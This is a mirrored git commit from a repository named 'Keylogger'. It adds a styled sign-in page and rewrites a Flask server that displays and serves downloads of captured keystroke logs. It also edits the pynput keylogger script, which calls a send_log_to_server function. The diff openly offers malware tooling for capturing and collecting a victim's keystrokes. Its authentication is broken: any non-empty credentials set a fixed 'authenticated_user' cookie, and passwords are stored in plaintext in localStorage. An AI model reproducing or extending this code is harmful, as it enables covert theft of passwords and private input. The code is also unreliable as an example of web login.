mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 11:35:50 +00:00
Sign/Log in page was added with good layout, visuals and responsiveness
This commit is contained in:
Binary file not shown.
|
After Width: | Height: | Size: 894 KiB |
@@ -0,0 +1,109 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Keylogger Sign In</title>
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css">
|
||||||
|
<link rel="stylesheet" href="https://unicons.iconscout.com/release/v2.1.9/css/unicons.css">
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="/Sign in/style.css" />
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="section">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row full-height justify-content-center">
|
||||||
|
<div class="col-12 text-center align-self-center py-5">
|
||||||
|
<div class="section pb-5 pt-5 pt-sm-2 text-center">
|
||||||
|
<h6 class="mb-0 pb-3"><span>Log In </span><span>Sign Up</span></h6>
|
||||||
|
<input class="checkbox" type="checkbox" id="reg-log" name="reg-log" />
|
||||||
|
<label for="reg-log"></label>
|
||||||
|
<div class="card-3d-wrap mx-auto">
|
||||||
|
<div class="card-3d-wrapper">
|
||||||
|
<div class="card-front">
|
||||||
|
<div class="center-wrap">
|
||||||
|
<div class="section text-center">
|
||||||
|
<h4 class="mb-4 pb-3">Log In</h4>
|
||||||
|
<form id="login-form" method="POST" action="/login" onsubmit="return validateLogin()">
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="text" name="username" class="form-style" placeholder="Your Username"
|
||||||
|
id="logusername" autocomplete="off" required>
|
||||||
|
<i class="input-icon uil uil-user"></i>
|
||||||
|
</div>
|
||||||
|
<div class="form-group mt-2">
|
||||||
|
<input type="password" name="password" class="form-style" placeholder="Your Password"
|
||||||
|
id="logpass" autocomplete="off" required>
|
||||||
|
<i class="input-icon uil uil-lock-alt"></i>
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn mt-4">Submit</button>
|
||||||
|
</form>
|
||||||
|
<p class="mb-0 mt-4 text-center">
|
||||||
|
<a href="#" class="link" onclick="checkLocalStorage()">Forgot your password?</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card-back">
|
||||||
|
<div class="center-wrap">
|
||||||
|
<div class="section text-center">
|
||||||
|
<h4 class="mb-4 pb-3">Sign Up</h4>
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="text" id="logname" class="form-style" placeholder="Your Full Name"
|
||||||
|
autocomplete="off">
|
||||||
|
<i class="input-icon uil uil-user"></i>
|
||||||
|
</div>
|
||||||
|
<div class="form-group mt-2">
|
||||||
|
<input type="text" id="logusername-signup" class="form-style" placeholder="Choose Username"
|
||||||
|
autocomplete="off">
|
||||||
|
<i class="input-icon uil uil-user"></i>
|
||||||
|
</div>
|
||||||
|
<div class="form-group mt-2">
|
||||||
|
<input type="password" id="logpass-signup" class="form-style" placeholder="Choose Password"
|
||||||
|
autocomplete="off">
|
||||||
|
<i class="input-icon uil uil-lock-alt"></i>
|
||||||
|
</div>
|
||||||
|
<a href="#" class="btn mt-4" onclick="saveAndRedirect()">Submit</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function saveAndRedirect() {
|
||||||
|
const username = document.getElementById('logusername-signup').value;
|
||||||
|
const password = document.getElementById('logpass-signup').value;
|
||||||
|
if (username && password) {
|
||||||
|
localStorage.setItem('userUsername', username);
|
||||||
|
localStorage.setItem('userPass', password);
|
||||||
|
document.getElementById('reg-log').checked = false;
|
||||||
|
document.getElementById('logusername').value = username;
|
||||||
|
document.getElementById('logpass').value = password;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function checkLocalStorage() {
|
||||||
|
const username = localStorage.getItem('userUsername');
|
||||||
|
const password = localStorage.getItem('userPass');
|
||||||
|
}
|
||||||
|
function validateLogin() {
|
||||||
|
const savedUser = localStorage.getItem('userUsername');
|
||||||
|
const savedPass = localStorage.getItem('userPass');
|
||||||
|
const enteredUser = document.getElementById('logusername').value;
|
||||||
|
const enteredPass = document.getElementById('logpass').value;
|
||||||
|
if (enteredUser === savedUser && enteredPass === savedPass) {
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 128 KiB |
@@ -0,0 +1,272 @@
|
|||||||
|
body{
|
||||||
|
font-family: 'Poppins', sans-serif;
|
||||||
|
font-weight: 300;
|
||||||
|
font-size: 15px;
|
||||||
|
line-height: 1.7;
|
||||||
|
color: #c4c3ca;
|
||||||
|
background-color: #1f2029;
|
||||||
|
background-image: url("ml.png");
|
||||||
|
background-size:cover;
|
||||||
|
overflow-x: hidden;
|
||||||
|
background-attachment: fixed;
|
||||||
|
}
|
||||||
|
a {
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
a:hover {
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.link {
|
||||||
|
color: #c4c3ca;
|
||||||
|
}
|
||||||
|
.link:hover {
|
||||||
|
color: #ffeba7;
|
||||||
|
}
|
||||||
|
p {
|
||||||
|
font-weight: 500;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.7;
|
||||||
|
}
|
||||||
|
h4 {
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
h6 span{
|
||||||
|
padding: 0 20px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
.section{
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
.full-height{
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
[type="checkbox"]:checked,
|
||||||
|
[type="checkbox"]:not(:checked){
|
||||||
|
position: absolute;
|
||||||
|
left: -9999px;
|
||||||
|
}
|
||||||
|
.checkbox:checked + label,
|
||||||
|
.checkbox:not(:checked) + label{
|
||||||
|
position: relative;
|
||||||
|
display: block;
|
||||||
|
text-align: center;
|
||||||
|
width: 60px;
|
||||||
|
height: 16px;
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 0;
|
||||||
|
margin: 10px auto;
|
||||||
|
cursor: pointer;
|
||||||
|
background-color: #ffeba7;
|
||||||
|
}
|
||||||
|
.checkbox:checked + label:before,
|
||||||
|
.checkbox:not(:checked) + label:before{
|
||||||
|
position: absolute;
|
||||||
|
display: block;
|
||||||
|
width: 36px;
|
||||||
|
height: 36px;
|
||||||
|
border-radius: 50%;
|
||||||
|
color: #ffeba7;
|
||||||
|
background-color: #102770;
|
||||||
|
font-family: 'unicons';
|
||||||
|
content: '\eb4f';
|
||||||
|
z-index: 20;
|
||||||
|
top: -10px;
|
||||||
|
left: -10px;
|
||||||
|
line-height: 36px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 24px;
|
||||||
|
transition: all 0.5s ease;
|
||||||
|
}
|
||||||
|
.checkbox:checked + label:before {
|
||||||
|
transform: translateX(44px) rotate(-270deg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-3d-wrap {
|
||||||
|
position: relative;
|
||||||
|
width: 440px;
|
||||||
|
max-width: 100%;
|
||||||
|
height: 400px;
|
||||||
|
-webkit-transform-style: preserve-3d;
|
||||||
|
transform-style: preserve-3d;
|
||||||
|
perspective: 800px;
|
||||||
|
margin-top: 60px;
|
||||||
|
}
|
||||||
|
.card-3d-wrapper {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
position:absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
-webkit-transform-style: preserve-3d;
|
||||||
|
transform-style: preserve-3d;
|
||||||
|
transition: all 600ms ease-out;
|
||||||
|
}
|
||||||
|
.card-front, .card-back {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background-color: #2a2b38;
|
||||||
|
background-image: url('card_img.jpg');
|
||||||
|
background-position: bottom center;
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
background-size: 300%;
|
||||||
|
position: absolute;
|
||||||
|
border-radius: 6px;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
-webkit-transform-style: preserve-3d;
|
||||||
|
transform-style: preserve-3d;
|
||||||
|
-webkit-backface-visibility: hidden;
|
||||||
|
-moz-backface-visibility: hidden;
|
||||||
|
-o-backface-visibility: hidden;
|
||||||
|
backface-visibility: hidden;
|
||||||
|
}
|
||||||
|
.card-back {
|
||||||
|
transform: rotateY(180deg);
|
||||||
|
}
|
||||||
|
.checkbox:checked ~ .card-3d-wrap .card-3d-wrapper {
|
||||||
|
transform: rotateY(180deg);
|
||||||
|
}
|
||||||
|
.center-wrap{
|
||||||
|
position: absolute;
|
||||||
|
width: 100%;
|
||||||
|
padding: 0 35px;
|
||||||
|
top: 50%;
|
||||||
|
left: 0;
|
||||||
|
transform: translate3d(0, -50%, 35px) perspective(100px);
|
||||||
|
z-index: 20;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group{
|
||||||
|
position: relative;
|
||||||
|
display: block;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
.form-style {
|
||||||
|
padding: 13px 20px;
|
||||||
|
padding-left: 55px;
|
||||||
|
height: 48px;
|
||||||
|
width: 100%;
|
||||||
|
font-weight: 500;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 22px;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
outline: none;
|
||||||
|
color: #c4c3ca;
|
||||||
|
background-color: #1f2029;
|
||||||
|
border: none;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
box-shadow: 0 4px 8px 0 rgba(21,21,21,.2);
|
||||||
|
}
|
||||||
|
.form-style:focus,
|
||||||
|
.form-style:active {
|
||||||
|
border: none;
|
||||||
|
outline: none;
|
||||||
|
box-shadow: 0 4px 8px 0 rgba(21,21,21,.2);
|
||||||
|
}
|
||||||
|
.input-icon {
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 18px;
|
||||||
|
height: 48px;
|
||||||
|
font-size: 24px;
|
||||||
|
line-height: 48px;
|
||||||
|
text-align: left;
|
||||||
|
color: #ffeba7;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group input:-ms-input-placeholder {
|
||||||
|
color: #c4c3ca;
|
||||||
|
opacity: 0.7;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input::-moz-placeholder {
|
||||||
|
color: #c4c3ca;
|
||||||
|
opacity: 0.7;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input:-moz-placeholder {
|
||||||
|
color: #c4c3ca;
|
||||||
|
opacity: 0.7;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input::-webkit-input-placeholder {
|
||||||
|
color: #c4c3ca;
|
||||||
|
opacity: 0.7;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input:focus:-ms-input-placeholder {
|
||||||
|
opacity: 0;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input:focus::-moz-placeholder {
|
||||||
|
opacity: 0;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input:focus:-moz-placeholder {
|
||||||
|
opacity: 0;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
.form-group input:focus::-webkit-input-placeholder {
|
||||||
|
opacity: 0;
|
||||||
|
-webkit-transition: all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn{
|
||||||
|
border-radius: 4px;
|
||||||
|
height: 44px;
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 600;
|
||||||
|
text-transform: uppercase;
|
||||||
|
-webkit-transition : all 200ms linear;
|
||||||
|
transition: all 200ms linear;
|
||||||
|
padding: 0 30px;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
display: -webkit-inline-flex;
|
||||||
|
display: -ms-inline-flexbox;
|
||||||
|
display: inline-flex;
|
||||||
|
-webkit-align-items: center;
|
||||||
|
-moz-align-items: center;
|
||||||
|
-ms-align-items: center;
|
||||||
|
align-items: center;
|
||||||
|
-webkit-justify-content: center;
|
||||||
|
-moz-justify-content: center;
|
||||||
|
-ms-justify-content: center;
|
||||||
|
justify-content: center;
|
||||||
|
-ms-flex-pack: center;
|
||||||
|
text-align: center;
|
||||||
|
border: none;
|
||||||
|
background-color: #ffeba7;
|
||||||
|
color: #102770;
|
||||||
|
box-shadow: 0 8px 24px 0 rgba(255,235,167,.2);
|
||||||
|
}
|
||||||
|
.btn:active,
|
||||||
|
.btn:focus{
|
||||||
|
background-color: #102770;
|
||||||
|
color: #ffeba7;
|
||||||
|
box-shadow: 0 8px 24px 0 rgba(16,39,112,.2);
|
||||||
|
}
|
||||||
|
.btn:hover{
|
||||||
|
background-color: #102770;
|
||||||
|
color: #ffeba7;
|
||||||
|
box-shadow: 0 8px 24px 0 rgba(16,39,112,.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
+6
-14
@@ -3,24 +3,16 @@ from pynput.keyboard import Listener, Key
|
|||||||
import os
|
import os
|
||||||
import requests
|
import requests
|
||||||
import time
|
import time
|
||||||
|
import pyfiglet
|
||||||
|
|
||||||
|
# Use pyfiglet for CLI art as requested
|
||||||
|
ascii_banner = pyfiglet.figlet_format("KEY LOGGER")
|
||||||
|
print(ascii_banner)
|
||||||
|
|
||||||
print(r"""
|
print(r"""
|
||||||
_ __ _
|
|
||||||
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
|
|
||||||
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
|
|
||||||
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|
|
||||||
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|
|
||||||
|___/ |___/ |___/
|
|
||||||
0.1
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
GitHub:https://github.com/Stalin-143
|
GitHub:https://github.com/Stalin-143
|
||||||
""")
|
""")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Ask user for the desired log file location
|
# Ask user for the desired log file location
|
||||||
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
||||||
|
|
||||||
@@ -100,4 +92,4 @@ with Listener(on_press=on_press, on_release=on_release) as listener:
|
|||||||
listener.join()
|
listener.join()
|
||||||
|
|
||||||
# Send logs when the listener stops (or periodically if needed)
|
# Send logs when the listener stops (or periodically if needed)
|
||||||
send_log_to_server()
|
send_log_to_server()
|
||||||
@@ -1,3 +1,4 @@
|
|||||||
pynput==1.7.6
|
pynput==1.7.6
|
||||||
Flask==2.2.5
|
Flask==2.2.5
|
||||||
requests==2.32.4
|
requests==2.32.4
|
||||||
|
pyfiglet
|
||||||
+57
-90
@@ -1,54 +1,64 @@
|
|||||||
from flask import Flask, render_template_string, send_file, request, Response
|
from flask import Flask, render_template, send_file, request, Response, redirect, url_for, make_response, render_template_string
|
||||||
import os
|
import os
|
||||||
from functools import wraps
|
import pyfiglet
|
||||||
|
|
||||||
print(r"""
|
# Use pyfiglet for CLI art
|
||||||
__ __ _ ____
|
ascii_banner = pyfiglet.figlet_format("Web Server")
|
||||||
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
|
print(ascii_banner)
|
||||||
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
|
|
||||||
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
|
|
||||||
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
|
|
||||||
|
|
||||||
|
app = Flask(__name__, static_folder="Sign in")
|
||||||
|
|
||||||
Github:https://github.com/Stalin-143
|
# Ask user where the log file is
|
||||||
""")
|
log_file_path = input("Enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
||||||
|
|
||||||
|
# Secret key for sessions
|
||||||
|
app.secret_key = 'your_super_secret_key_here'
|
||||||
|
|
||||||
|
# Serve login/signup page
|
||||||
|
@app.route('/login')
|
||||||
|
def login():
|
||||||
|
return send_file('Sign in/index.html')
|
||||||
|
|
||||||
|
# Handle login form submission
|
||||||
|
@app.route('/login', methods=['POST'])
|
||||||
|
def handle_login():
|
||||||
|
username = request.form.get('username')
|
||||||
|
password = request.form.get('password')
|
||||||
|
if username and password:
|
||||||
|
resp = make_response(redirect(url_for('home')))
|
||||||
|
resp.set_cookie('session_id', 'authenticated_user', max_age=3600, httponly=True)
|
||||||
|
return resp
|
||||||
|
return 'Invalid Credentials', 401
|
||||||
|
|
||||||
|
@app.route('/')
|
||||||
|
def home():
|
||||||
|
session_id = request.cookies.get('session_id')
|
||||||
|
|
||||||
app = Flask(__name__)
|
if session_id == 'authenticated_user':
|
||||||
|
if os.path.exists(log_file_path):
|
||||||
|
with open(log_file_path, 'r') as file:
|
||||||
|
log_contents = file.read()
|
||||||
|
else:
|
||||||
|
log_contents = "Log file not found."
|
||||||
|
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
|
||||||
|
@app.route('/download')
|
||||||
|
def download_log():
|
||||||
|
session_id = request.cookies.get('session_id')
|
||||||
|
if session_id == 'authenticated_user':
|
||||||
|
if os.path.exists(log_file_path):
|
||||||
|
return send_file(log_file_path, as_attachment=True)
|
||||||
|
return "Log file not found."
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
|
||||||
# Specify the location of the log file (this should be provided by the user)
|
# Logout
|
||||||
log_file_path = input("Enter the file path: ")
|
@app.route('/logout')
|
||||||
# Change this as needed
|
def logout():
|
||||||
|
resp = make_response(redirect(url_for('login')))
|
||||||
|
resp.set_cookie('session_id', '', expires=0)
|
||||||
|
return resp
|
||||||
|
|
||||||
# Basic Authentication
|
|
||||||
USERNAME = 'admin'
|
|
||||||
PASSWORD = 'admin'
|
|
||||||
|
|
||||||
# Function to prompt for username and password if not authenticated
|
|
||||||
def check_auth(username, password):
|
|
||||||
return username == USERNAME and password == PASSWORD
|
|
||||||
|
|
||||||
# Function to require authentication for routes
|
|
||||||
def authenticate():
|
|
||||||
return Response(
|
|
||||||
'Unauthorized Access. Please log in with correct credentials.', 401,
|
|
||||||
{'WWW-Authenticate': 'Basic realm="Login Required"'})
|
|
||||||
|
|
||||||
# Decorator to enforce authentication
|
|
||||||
def requires_auth(f):
|
|
||||||
@wraps(f)
|
|
||||||
def decorated(*args, **kwargs):
|
|
||||||
auth = request.authorization
|
|
||||||
if not auth or not check_auth(auth.username, auth.password):
|
|
||||||
return authenticate()
|
|
||||||
return f(*args, **kwargs)
|
|
||||||
return decorated
|
|
||||||
|
|
||||||
# HTML template to display the log contents and provide a download link
|
|
||||||
HTML_TEMPLATE = '''
|
HTML_TEMPLATE = '''
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
@@ -57,68 +67,25 @@ HTML_TEMPLATE = '''
|
|||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>Keylogger Log Viewer</title>
|
<title>Keylogger Log Viewer</title>
|
||||||
<style>
|
<style>
|
||||||
body {
|
body { font-family: Arial, sans-serif; background-color: #f0f0f0; margin: 0; padding: 20px; }
|
||||||
font-family: Arial, sans-serif;
|
h1 { color: #333; }
|
||||||
background-color: #f0f0f0;
|
pre { background-color: #fff; padding: 15px; border: 1px solid #ccc; max-height: 400px; overflow-y: scroll; }
|
||||||
margin: 0;
|
.button { padding: 10px 15px; background-color: #4CAF50; color: white; text-align: center; border: none; cursor: pointer; margin-top: 20px; text-decoration: none; }
|
||||||
padding: 20px;
|
.button:hover { background-color: #45a049; }
|
||||||
}
|
.logout { background-color: #f44336; margin-left: 10px; }
|
||||||
h1 {
|
.logout:hover { background-color: #d32f2f; }
|
||||||
color: #333;
|
|
||||||
}
|
|
||||||
pre {
|
|
||||||
background-color: #fff;
|
|
||||||
padding: 15px;
|
|
||||||
border: 1px solid #ccc;
|
|
||||||
max-height: 400px;
|
|
||||||
overflow-y: scroll;
|
|
||||||
}
|
|
||||||
.button {
|
|
||||||
padding: 10px 15px;
|
|
||||||
background-color: #4CAF50;
|
|
||||||
color: white;
|
|
||||||
text-align: center;
|
|
||||||
border: none;
|
|
||||||
cursor: pointer;
|
|
||||||
margin-top: 20px;
|
|
||||||
text-decoration: none;
|
|
||||||
}
|
|
||||||
.button:hover {
|
|
||||||
background-color: #45a049;
|
|
||||||
}
|
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<h1>Log File: {{ log_file_path }}</h1>
|
<h1>Log File: {{ log_file_path }}</h1>
|
||||||
|
|
||||||
<h2>Log File Contents:</h2>
|
<h2>Log File Contents:</h2>
|
||||||
<pre>{{ log_contents }}</pre>
|
<pre>{{ log_contents }}</pre>
|
||||||
|
|
||||||
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
|
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
|
||||||
|
<a href="{{ url_for('logout') }}" class="button logout">Logout</a>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
'''
|
'''
|
||||||
|
|
||||||
# Route to display the log file contents and provide a download link
|
|
||||||
@app.route('/')
|
|
||||||
@requires_auth
|
|
||||||
def home():
|
|
||||||
if os.path.exists(log_file_path):
|
|
||||||
with open(log_file_path, 'r') as file:
|
|
||||||
log_contents = file.read()
|
|
||||||
else:
|
|
||||||
log_contents = "Log file not found."
|
|
||||||
|
|
||||||
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
|
|
||||||
|
|
||||||
# Route to download the log file
|
|
||||||
@app.route('/download')
|
|
||||||
@requires_auth
|
|
||||||
def download_log():
|
|
||||||
if os.path.exists(log_file_path):
|
|
||||||
return send_file(log_file_path, as_attachment=True)
|
|
||||||
return "Log file not found."
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() in ['true', '1', 't']
|
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() in ['true', '1', 't']
|
||||||
app.run(debug=debug_mode)
|
app.run(debug=debug_mode)
|
||||||
|
|||||||
Reference in New Issue
Block a user